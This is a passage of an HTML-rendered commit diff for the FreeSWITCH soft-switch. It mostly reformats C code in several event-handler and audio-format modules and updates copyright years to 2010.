</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="cx">         prefs.threads++;
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(listener != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((session = listener->session)) {
</span><span class="cx">                 if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2352,7 +2343,8 @@
</span><span class="cx">                                 const char message[] = "Access Denied, go away.\n";
</span><span class="cx">                                 int mlen = strlen(message);
</span><span class="cx">
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", listener->remote_ip, prefs.acl[x]);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", listener->remote_ip,
+                                                                 prefs.acl[x]);
</ins><span class="cx">
</span><span class="cx">                                 switch_snprintf(buf, sizeof(buf), "Content-Type: text/rude-rejection\nContent-Length: %d\n\n", mlen);
</span><span class="cx">                                 len = strlen(buf);
</span><span class="lines">@@ -2363,12 +2355,13 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.debug > 0) {
</span><span class="cx">                 if (zstr(listener->remote_ip)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Connection Open\n");
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Connection Open from %s:%d\n", listener->remote_ip, listener->remote_port);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Connection Open from %s:%d\n", listener->remote_ip,
+                                                         listener->remote_port);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2378,7 +2371,7 @@
</span><span class="cx">
</span><span class="cx">         if (session && switch_test_flag(listener, LFLAG_AUTHED)) {
</span><span class="cx">                 switch_event_t *ievent = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_set_flag_locked(listener, LFLAG_SESSION);
</span><span class="cx">                 status = read_packet(listener, &ievent, 25);
</span><span class="cx">
</span><span class="lines">@@ -2387,8 +2380,8 @@
</span><span class="cx">                         switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 if (parse_command(listener, &ievent, reply, sizeof(reply)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2462,11 +2455,11 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx"> done:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (revent) {
</span><span class="cx">                 switch_event_destroy(&revent);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         remove_listener(listener);
</span><span class="cx">
</span><span class="cx">         if (globals.debug > 0) {
</span><span class="lines">@@ -2484,7 +2477,7 @@
</span><span class="cx">         if (listener->session) {
</span><span class="cx">                 channel = switch_core_session_get_channel(listener->session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel && (switch_test_flag(listener, LFLAG_RESUME) || ((var = switch_channel_get_variable(channel, "socket_resume")) && switch_true(var)))) {
</span><span class="cx">                 switch_channel_set_state(channel, CS_RESET);
</span><span class="cx">         }
</span><span class="lines">@@ -2493,13 +2486,11 @@
</span><span class="cx">                 char disco_buf[512] = "";
</span><span class="cx">                 const char message[] = "Disconnected, goodbye.\nSee you at ClueCon! http://www.cluecon.com/\n";
</span><span class="cx">                 int mlen = strlen(message);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (listener->session) {
</span><span class="cx">                         switch_snprintf(disco_buf, sizeof(disco_buf), "Content-Type: text/disconnect-notice\n"
</span><span class="cx">                                                         "Controlled-Session-UUID: %s\n"
</span><del>-                                                        "Content-Disposition: disconnect\n"
-                                                        "Content-Length: %d\n\n",
-                                                        switch_core_session_get_uuid(listener->session), mlen);
</del><ins>+                                                        "Content-Disposition: disconnect\n" "Content-Length: %d\n\n", switch_core_session_get_uuid(listener->session), mlen);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_snprintf(disco_buf, sizeof(disco_buf), "Content-Type: text/disconnect-notice\nContent-Length: %d\n\n", mlen);
</span><span class="cx">                 }
</span><span class="lines">@@ -2636,7 +2627,7 @@
</span><span class="cx">
</span><span class="cx">         config();
</span><span class="cx">
</span><del>-        while(!prefs.done) {
</del><ins>+        while (!prefs.done) {
</ins><span class="cx">                 rv = switch_sockaddr_info_get(&sa, prefs.ip, SWITCH_INET, prefs.port, 0, pool);
</span><span class="cx">                 if (rv)
</span><span class="cx">                         goto fail;
</span><span class="lines">@@ -2667,13 +2658,13 @@
</span><span class="cx">         listen_list.ready = 1;
</span><span class="cx">
</span><span class="cx">
</span><del>-        while(!prefs.done) {
</del><ins>+        while (!prefs.done) {
</ins><span class="cx">                 if (switch_core_new_memory_pool(&listener_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "OH OH no pool\n");
</span><span class="cx">                         goto fail;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((rv = switch_socket_accept(&inbound_socket, listen_list.sock, listener_pool))) {
</span><span class="cx">                         if (prefs.done) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Shutting Down\n");
</span><span class="lines">@@ -2689,7 +2680,7 @@
</span><span class="cx">                         errs = 0;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(listener = switch_core_alloc(listener_pool, sizeof(*listener)))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error\n");
</span><span class="cx">                         break;
</span><span class="lines">@@ -2717,10 +2708,10 @@
</span><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         close_socket(&listen_list.sock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (prefs.nat_map && switch_core_get_variable("nat_type")) {
</span><span class="cx">                 switch_nat_del_mapping(prefs.port, SWITCH_NAT_TCP);
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_event_testmod_event_testc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_radius_cdrmod_radius_cdrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -42,7 +42,8 @@
</span><span class="cx"> static struct {
</span><span class="cx">         int shutdown;
</span><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><del>-} globals = { 0 };
</del><ins>+} globals = {
+0};
</ins><span class="cx">
</span><span class="cx"> static char cf[] = "mod_radius_cdr.conf";
</span><span class="cx"> static char my_dictionary[PATH_MAX];
</span><span class="lines">@@ -346,9 +347,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (profile->caller_extension &&
-                                profile->caller_extension->last_application &&
-                                profile->caller_extension->last_application->application_name) {
</del><ins>+                        if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
</ins><span class="cx">                                 if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
</span><span class="cx">                                                                  (void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
</span><span class="lines">@@ -369,8 +368,8 @@
</span><span class="cx">                 retval = SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><span class="cx">         rc_avpair_free(send);
</span><del>- rc_destroy(rad_config);
- end:
</del><ins>+        rc_destroy(rad_config);
+ end:
</ins><span class="cx">         switch_xml_free(cdr);
</span><span class="cx">         switch_thread_rwlock_unlock(globals.rwlock);
</span><span class="cx">         return (retval);
</span><span class="lines">@@ -562,8 +561,7 @@
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        if (profile->caller_extension && profile->caller_extension->last_application &&
-                         profile->caller_extension->last_application->application_name) {
</del><ins>+                        if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
</ins><span class="cx">                                 if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
</span><span class="cx">                                                                  (void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
</span><span class="lines">@@ -643,9 +641,9 @@
</span><span class="cx">                 retval = SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><span class="cx">         rc_avpair_free(send);
</span><del>- rc_destroy(rad_config);
</del><ins>+        rc_destroy(rad_config);
</ins><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">         switch_xml_free(cdr);
</span><span class="cx">         switch_thread_rwlock_unlock(globals.rwlock);
</span><span class="cx">         return (retval);
</span><span class="lines">@@ -718,11 +716,11 @@
</span><span class="cx">         /*.on_hangup */ NULL,
</span><span class="cx">         /*.on_exchange_media */ NULL,
</span><span class="cx">         /*.on_soft_execute */ NULL,
</span><del>-        /*.on_consume_media*/ NULL,
-        /*.on_hibernate*/ NULL,
-        /*.on_reset*/ NULL,
-        /*.on_park*/ NULL,
-        /*.on_reporting*/ my_on_reporting
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ my_on_reporting
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_radius_cdr_load)
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_file_stringmod_file_stringc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -63,10 +63,10 @@
</span><span class="cx">         char *file;
</span><span class="cx">         const char *prefix = handle->prefix;
</span><span class="cx">
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">
</span><span class="cx">         context->index++;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag((&context->fh), SWITCH_FILE_OPEN)) {
</span><span class="cx">                 switch_core_file_close(&context->fh);
</span><span class="cx">         }
</span><span class="lines">@@ -89,13 +89,10 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_core_file_open(&context->fh,
</span><del>-                                                         file,
-                                                         handle->channels,
-                                                         handle->samplerate,
-                                                         SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                         file, handle->channels, handle->samplerate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 goto top;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         handle->samples = context->fh.samples;
</span><span class="cx">         handle->samplerate = context->fh.samplerate;
</span><span class="cx">         handle->channels = context->fh.channels;
</span><span class="lines">@@ -122,15 +119,15 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         context = switch_core_alloc(handle->memory_pool, sizeof(*context));
</span><del>-        
</del><ins>+
</ins><span class="cx">         file_dup = switch_core_strdup(handle->memory_pool, path);
</span><span class="cx">         context->argc = switch_separate_string(file_dup, '!', context->argv, (sizeof(context->argv) / sizeof(context->argv[0])));
</span><span class="cx">         context->index = -1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         handle->private_info = context;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return next_file(handle) ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -150,17 +147,17 @@
</span><span class="cx">         size_t llen = *len;
</span><span class="cx">
</span><span class="cx">         if (context->samples > 0) {
</span><del>-                if (*len > (size_t)context->samples) {
</del><ins>+                if (*len > (size_t) context->samples) {
</ins><span class="cx">                         *len = context->samples;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 context->samples -= *len;
</span><span class="cx">                 switch_generate_sln_silence((int16_t *) data, *len, 400);
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         } else {
</span><span class="cx">                 status = switch_core_file_read(&context->fh, data, len);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (!next_file(handle)) {
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_local_streammod_local_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -137,7 +137,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_thread_rwlock_create(&source->rwlock, source->pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (RUNNING) {
</span><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><span class="cx">                 switch_core_hash_insert(globals.source_hash, source->name, source);
</span><span class="lines">@@ -156,7 +156,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error creating pool");
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_dir_open(&source->dir_handle, source->location, temp_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't open directory: %s\n", source->location);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -203,7 +203,7 @@
</span><span class="cx">                         fname = path_buf;
</span><span class="cx">                         fh.prebuf = source->prebuf;
</span><span class="cx">                         fh.pre_buffer_datalen = source->prebuf;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_file_open(&fh,
</span><span class="cx">                                                                          (char *) fname,
</span><span class="cx">                                                                          source->channels, source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -211,7 +211,7 @@
</span><span class="cx">                                 switch_yield(1000000);
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_timer_init(&timer, source->timer_name, source->interval, source->samples, temp_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't start timer.\n");
</span><span class="cx">                                 switch_dir_close(source->dir_handle);
</span><span class="lines">@@ -231,10 +231,10 @@
</span><span class="cx">                                         if (source->chime_counter > 0) {
</span><span class="cx">                                                 source->chime_counter -= source->samples;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!switch_test_flag((&source->chime_fh), SWITCH_FILE_OPEN) && source->chime_counter <= 0) {
</span><span class="cx">                                                 char *val;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 val = source->chime_list[source->chime_cur++];
</span><span class="cx">
</span><span class="cx">                                                 if (source->chime_cur >= source->chime_total) {
</span><span class="lines">@@ -243,9 +243,8 @@
</span><span class="cx">
</span><span class="cx">                                                 if (switch_core_file_open(&source->chime_fh,
</span><span class="cx">                                                                                                  (char *) val,
</span><del>-                                                                                                 source->channels,
-                                                                                                 source->rate,
-                                                                                                 SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                                 source->channels,
+                                                                                                 source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open %s\n", val);
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="lines">@@ -255,7 +254,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                        retry:
</del><ins>+                         retry:
</ins><span class="cx">
</span><span class="cx">                                 is_open = switch_test_flag(use_fh, SWITCH_FILE_OPEN);
</span><span class="cx">
</span><span class="lines">@@ -287,7 +286,7 @@
</span><span class="cx">                                 if (!used && !is_open) {
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!is_open || used >= source->prebuf || (source->total && used > source->samples * 2)) {
</span><span class="cx">                                         used = switch_buffer_read(audio_buffer, dist_buf, source->samples * 2);
</span><span class="cx">                                         if (source->total) {
</span><span class="lines">@@ -322,7 +321,7 @@
</span><span class="cx">                 source->dir_handle = NULL;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (switch_test_flag((&fh), SWITCH_FILE_OPEN)) {
</span><span class="cx">                 switch_core_file_close(&fh);
</span><span class="lines">@@ -339,7 +338,7 @@
</span><span class="cx">
</span><span class="cx">         switch_thread_rwlock_wrlock(source->rwlock);
</span><span class="cx">         switch_thread_rwlock_unlock(source->rwlock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_buffer_destroy(&audio_buffer);
</span><span class="cx">
</span><span class="cx">         if (fd > -1) {
</span><span class="lines">@@ -376,7 +375,7 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">
</span><span class="cx">         alt_path = switch_mprintf("%s/%d", path, handle->samplerate);
</span><span class="cx">
</span><span class="lines">@@ -439,7 +438,7 @@
</span><span class="cx">         source->total++;
</span><span class="cx">         switch_mutex_unlock(source->mutex);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">         switch_safe_free(alt_path);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -464,7 +463,7 @@
</span><span class="cx">         switch_mutex_unlock(context->source->mutex);
</span><span class="cx">         switch_buffer_destroy(&context->audio_buffer);
</span><span class="cx">         switch_thread_rwlock_unlock(context->source->rwlock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -573,7 +572,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                         } else if (!strcasecmp(var, "chime-list")) {
</span><span class="cx">                                 char *list_dup = switch_core_strdup(source->pool, val);
</span><del>-                                source->chime_total = switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
</del><ins>+                                source->chime_total =
+                                        switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
</ins><span class="cx">                         } else if (!strcasecmp(var, "interval")) {
</span><span class="cx">                                 int tmp = atoi(val);
</span><span class="cx">                                 if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
</span><span class="lines">@@ -644,19 +644,19 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx">
</span><span class="cx">         if (!source) {
</span><del>-                stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
</del><ins>+                stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         source->stopped = 1;
</span><del>-        stream->write_function(stream,"+OK");
</del><ins>+        stream->write_function(stream, "+OK");
</ins><span class="cx">         goto done;
</span><span class="cx">
</span><del>- usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-USAGE: %s\n", STOP_LOCAL_STREAM_SYNTAX);
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -694,7 +694,7 @@
</span><span class="cx">                                 xml = SWITCH_TRUE;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!local_stream_name) {
</span><span class="cx">                         goto usage;
</span><span class="cx">                 }
</span><span class="lines">@@ -730,18 +730,18 @@
</span><span class="cx">                                 stream->write_function(stream, " stopped: %s\n", (source->stopped) ? "true" : "false");
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
</del><ins>+                        stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
</ins><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        stream->write_function(stream,"+OK");
</del><ins>+        stream->write_function(stream, "+OK");
</ins><span class="cx">         goto done;
</span><span class="cx">
</span><del>- usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-USAGE: %s\n", SHOW_LOCAL_STREAM_SYNTAX);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx">         switch_safe_free(mycmd);
</span><span class="lines">@@ -796,29 +796,28 @@
</span><span class="cx">         if (argv[5]) {
</span><span class="cx">                 tmp = atoi(argv[5]);
</span><span class="cx">                 if (tmp == 1 || tmp == 2) {
</span><del>-                        channels = (uint8_t)tmp;
</del><ins>+                        channels = (uint8_t) tmp;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         interval = argv[6] ? atoi(argv[6]) : 20;
</span><del>-        
-        if (!SWITCH_ACCEPTABLE_INTERVAL(interval)){
</del><ins>+
+        if (!SWITCH_ACCEPTABLE_INTERVAL(interval)) {
</ins><span class="cx">                 interval = 20;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (!path){
</del><ins>+        if (!path) {
</ins><span class="cx">                 if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
</span><del>-                        stream->write_function(stream, "-ERR unable to open file %s!\n",cf);
</del><ins>+                        stream->write_function(stream, "-ERR unable to open file %s!\n", cf);
</ins><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 for (directory = switch_xml_child(cfg, "directory"); directory; directory = directory->next) {
</span><span class="cx">                         char *name = (char *) switch_xml_attr(directory, "name");
</span><del>-                        if (!name || !local_stream_name || strcasecmp(name, local_stream_name)){
</del><ins>+                        if (!name || !local_stream_name || strcasecmp(name, local_stream_name)) {
</ins><span class="cx">                                 continue;
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 path = (char *) switch_xml_attr(directory, "path");
</span><span class="cx">                                 if (!(name && path)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid config!\n");
</span><span class="lines">@@ -868,7 +867,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(local_stream_name) || zstr(path)) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><span class="lines">@@ -878,13 +877,13 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx">         if (source) {
</span><span class="cx">                 source->stopped = 0;
</span><del>-                stream->write_function(stream,"+OK");
-                goto done;
</del><ins>+                stream->write_function(stream, "+OK");
+                goto done;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool for new local_stream\n");
</span><del>-                stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n",local_stream_name);
</del><ins>+                stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n", local_stream_name);
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -910,13 +909,13 @@
</span><span class="cx">         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="cx">         switch_thread_create(&thread, thd_attr, read_stream_thread, source, source->pool);
</span><span class="cx">
</span><del>-        stream->write_function(stream,"+OK");
</del><ins>+        stream->write_function(stream, "+OK");
</ins><span class="cx">         goto done;
</span><span class="cx">
</span><del>- usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-USAGE: %s\n", START_LOCAL_STREAM_SYNTAX);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(path);
</span><span class="cx">         switch_safe_free(timer_name);
</span><span class="lines">@@ -960,7 +959,7 @@
</span><span class="cx">         RUNNING = 0;
</span><span class="cx">         switch_event_unbind_callback(event_handler);
</span><span class="cx">
</span><del>-        while(THREADS > 0) {
</del><ins>+        while (THREADS > 0) {
</ins><span class="cx">                 switch_yield(100000);
</span><span class="cx">         }
